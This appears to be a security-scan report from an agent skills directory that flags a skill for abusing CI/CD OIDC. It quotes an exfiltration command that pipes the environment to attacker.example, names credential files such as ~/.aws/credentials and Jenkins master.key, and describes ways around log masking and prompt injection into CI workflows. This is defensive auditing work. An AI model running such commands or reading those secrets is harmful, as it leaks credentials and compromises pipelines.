The Agent Skills Directory

[DATA_EXFILTRATION]: The skill provides commands to exfiltrate the entire process environment, which often contains masked secrets and sensitive tokens, to an external URL using patterns like env | base64 | curl -d @- https://attacker.example/exfil. It also demonstrates methods to bypass log masking by encoding secrets in base64 or using character-by-character extraction.
[CREDENTIALS_UNSAFE]: Instructions guide the extraction of hardcoded and stored credentials from sensitive file paths such as ~/.aws/credentials, .env files, .pem keys, and Jenkins-specific configuration files like /var/lib/jenkins/credentials.xml and /var/lib/jenkins/secrets/master.key.
[COMMAND_EXECUTION]: The skill uses extensive shell commands involving curl, rg, aws, gcloud, and az to interact with remote APIs and cloud infrastructure. These commands often interpolate variables (e.g., OWNER, REPO, APP_OBJECT_ID, PROVIDER) which could be subject to command injection if populated from untrusted sources.
[PROMPT_INJECTION]: The skill documents techniques for Indirect Prompt Injection, specifically targeting CI/CD pipelines. It identifies a vulnerability surface where untrusted data from pull requests, issues, or comments is interpolated into workflow run blocks without sanitization (e.g., github.event.issue...).
Ingestion points: GitHub Actions workflow files (.github/workflows/) processing event data.
Boundary markers: None observed in the provided examples.
Capability inventory: Shell execution via run blocks in CI environments with access to GITHUB_TOKEN and repository secrets.
Sanitization: The skill highlights the lack of sanitization as the primary exploit vector.

abusing-ci-cd-oidc